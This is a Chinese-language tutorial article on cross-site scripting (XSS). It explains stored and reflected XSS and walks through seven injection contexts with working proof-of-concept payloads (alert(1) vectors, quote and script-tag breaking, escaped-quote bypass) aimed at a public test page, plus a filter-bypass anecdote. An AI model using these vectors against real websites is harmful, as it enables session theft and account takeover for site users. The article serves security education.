web开发,关于XSS的介绍和案例分析

时间: 2017-12-02阅读: 558标签: web

XSS简介

XSS攻击的全称Cross Site Scripting(跨站脚本攻击),为了避免和样式表CSS混淆而简写为XSS。XSS攻击使用web应用,服务器,或者所依赖的插件系统的已知漏洞进行的,恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的,让用户使用浏览器进行访问时就会受到攻击。


那么受到攻击有什么危害呢?对用户来讲,比较常见的就是受害者网站的cookie、session等敏感数据遭到泄露(这些数据一般保存着用户登陆状态等信息,攻击者拿到这些就可以登陆用户的账号随心所欲的操作);而对于网站来讲,也许会影响用户体验,包括而不限于可能因此遭到DOS攻击等等。危害性不容小觑。


很多网站都爆发过XSS漏洞,其中不乏互联网巨头,比如Twitter,Facebook,YouTube等等,虽然在互联网安全中已经受到了相当的重视,但是大量的XSS漏洞仍在前赴后继。或是缺少经验,或是用户数据并不十分敏感,亦或是互联网风暴席卷而来时疯了一样的迭代速度所限制的安全投入。


XSS的类型

 存储型XSS:存储型XSS,持久化,代码是存储在服务器中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访问该页面的时候触发代码执行。这种XSS比较危险,容易造成蠕虫,盗窃cookie(虽然还有种DOM型XSS,但是也还是包括在存储型XSS内)。

反射型XSS:非持久化,需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。


7种主要的XSS案例

1. URL 反射 

当源代码中存在URL反射时,我们可以添加自己的XSS向量和载荷。对于PHP的页面,可以通过使用斜杠”/”在页面的名称后添加任何内容。 

http://brutelogic.com.br/xss.php/”><svg onload=alert(1)>

需要用开头的(“>)标签来破坏当前标签的闭合状态,为将插入的新标签(触发XSS的代码标签)创造可能的闭合条件。  

<!—URL Reflection -->
<form action=”/xss.php/”><svg onload=alert(1)>” method=”POST”>
<br>

虽然不同语言的差异造成的不同的触发原因(反射可能出现在路径或URL参数中)。相对于PHP而言,罪魁祸首通常是在提交表单的动作中使用到了全局变量。 

$_SERVER[“PHP_SELF”]


2.简单的HTMLi(HTML注入)

最直接的一种方式,输入就是反射,输入部分显示在已存在的标签之前、后或标签之间。不需要绕过或破坏任何闭合,任何简单的像<tag handler=jsCode>形式的XSS向量都可以实现。

http://brutelogic.com.br/xss.php?a=<svg onload=alert(1)>
<h1>XSS Test</h1>
<!-- Simple HTMLi -->
Hello, <svg onload=alert(1)>!
<br>


3.Inline HTMLi

和上一个相比这个实例也相对简单,但是需要 "> 破坏前面的闭合标签,重新添加并创建新的标签闭合。  

<!-- Inline HTMLi (Double Quotes) -->
<input type="text" name="b1" value=""><svg onload=alert(1)>">
<br>
<br>


4.Inline HTMLi: No Tag Breaking

 当在HTML属性中输入并且对大于号(>)进行过滤时,像之前的实例一样破坏前面的闭合标签达到反射是不可能了。

<!-- Inline HTMLi - No Tag Breaking (Double Quotes) -->
<input type="text" name="b3" value="">><svg onload=alert(1)>">
<br>
<br>

所以这里使用一个适合我们在此处注入的,并可在标签内触发的事件处理程序,比如:  

http://brutelogic.com.br/xss.php?b3=” onmouseover=alert(1)//

这个方式闭合了标签中value值的引号,并且给onmouseover插入了事件。alert(1)之后的双引号通过双斜杠注释掉,当受害者的鼠标移动到输入框时触发js弹窗。 


5.HTMLi in Js(Javascript) Block

输入有时候会传入到javascript代码块中,这些输入通常是代码中的一些变量的值。但因为HTML标签在浏览器的解析中有优先级,所以我们可以通过js标签闭合原有的js代码块并插入一个新的标签插入传入你需要的js代码。 

http://brutelogic.com.br/xss.php?c1=</script><svg onload=alert(1)>
// HTMLi in Js Block (Single Quotes)
var myVar1 = '</script><svg onload=alert(1)>';


6.Simple Js Injection

如果脚本的标签被某种方式过滤掉了,之前讨论的姿势也随之失效。 

// Simple Js Injection (Single Quotes)
var myVar3 = '><svg onload=alert(1)>';

这里的绕过方法可以根据语法注入javascript代码。一个已知的方法是用我们想要执行的代码”连接”到可触发漏洞的变量。因为我们不能让任何单引号引起报错,所以先构造闭合,然后使用”-”连接来获得一个有效的javascript代码。 

http://brutelogic.com.br/xss.php?c3=’-alert(1)-‘
// Simple Js Injection (Single Quotes)
var myVar3 = ''-alert(1)-'';


 7.Escaped Js Injection

在之前的实例中,如果引号(用于置空闭合变量的值)被反斜杠(\)转义,注入将不会生效(因为无效的语法)。 

// Escaped Js Injection (Single Quotes)
var myVar5 = '\'-alert(1)-\'';

为此,我们可以通过骚姿势——转义。我们可以插入一个前反斜杠,这样后面的引号将会完成闭合,从而触发传入的js代码。在插入我们想要执行的js代码后,需要对其余部分进行注释,因为剩余的部分已经无需执行或重复执行。  

http://brutelogic.com.br/xss.php?c5=\'-alert(1)//
// Escaped Js Injection (Single Quotes)
var myVar5 = '\\'-alert(1)-//';


扩展一点点 

直接通过URL通过GET请求触发XSS返回404,通过参数直接访问可以显示正常界面,那么应该是被过滤了。先自己用xsstrike跑了一下,提示是存在XSS的,但是打开浏览器的反应都是返回了空白页面,说明是多次的误报(xsstrike不是基于webkit,因此容易产生误报)。

而后查看源码,在页面可以看到前端通过正则过滤了特殊字符,重定向到404页面。过滤的很全乎,那看起来好像是没戏了,遂去请教大神,所以姿势就涨起来了。这里的原因是因为后端PHP在处理请求的时候使用的是$_REQUEST方法,因此可接受POST和GET请求。So,成功弹窗。 

 

案例来源:https://brutelogic.com.br/blog/the-7-main-xss-cases-everyone-should-know/

 

Atag - Web Components 最佳实践

上一次社区中谈论起 Web Components 已经可以追溯到三四年前了,彼时 Web Components 仍处于不稳定的草案阶段,Polymer 的出世使大家似乎看到了新一代的前端技术,但直到今天,在今年五月 Google I/O 发布 Polymer 3 之后

什么是web前端?前端工程师前景如何

Web为你在浏览器、APP、应用程序等设备上提供直观界面,这些界面展现以及用户交互就是前端。从2016年到2018年,web前端岗位从之前的爆发式增长变为平稳的发展

PHP 是 Web 开发最好的语言!

PHP 一直受到全球 Web开发人员的青睐,它为人们提供了创建高度交互性和直观的网站和Web应用程序的良好方式,包括语言的广度、深度,且执行简单。以下五个原因,我们来说明PHP是世界 Web开发的最佳语言

Web前端设计排版小技巧

web设计排版多种多样,如何更好的排版、设计出更符合美学的设计了?设计该如何更好的做好网页设计的布局排版了,今天给大家分享这几个小技巧,希望大家能有所用。

Web认证_介绍Web开发中几种常用的认证机制

如今web服务随处可见,成千上万的web程序被部署到公网上供用户访问,有些系统只针对指定用户开放,属于安全级别较高的web应用,他们需要有一种认证机制以保护系统资源的安全,本文将探讨五种常用的认证机制及优缺点。

Web UI 自动化测试技术选型

对于 UI 自动化测试来说,许多所谓框架之间并没有太多差别,也从来不是影响整套测试用例是否健壮的关键性因素。相比之下,如何提高测试用例稳定性以及出现错误时 debug 的便捷性才是让 UI 自动化测试方案落地的重要细节。

原生js判断用户是否操作了web页面

用户是否操作了web页面,我们可以在一定时间内根据用户是否触发了某些事件进行判断。比如用户是否点击,是否按键,是否移动了鼠标等

Web 前端中的增强现实(AR)开发技术

增强现实(以下简称 AR)浪潮正滚滚而来,Web 浏览器作为人们最唾手可得的人机交互终端,正在大力发展 AR 技术。AR 可以简单的理解为一种实时将虚拟图像叠加在现实场景中的技术

web浏览器基础知识【web前端】

Web浏览器的主要功能是展示网页资源,即请求服务器并将结果展示在窗口中。地址栏输入URL到页面显示经历的过程、浏览器的主要组件、浏览器渲染...

web页面的重构和回流【转载】

在了解什么是重构和回流之前,我们应该先看看浏览器是怎么渲染的?浏览器的渲染过程;什么是重构和回流;什么操作会引起重绘、回流;浏览器对回流的优化;如何减少回流、重绘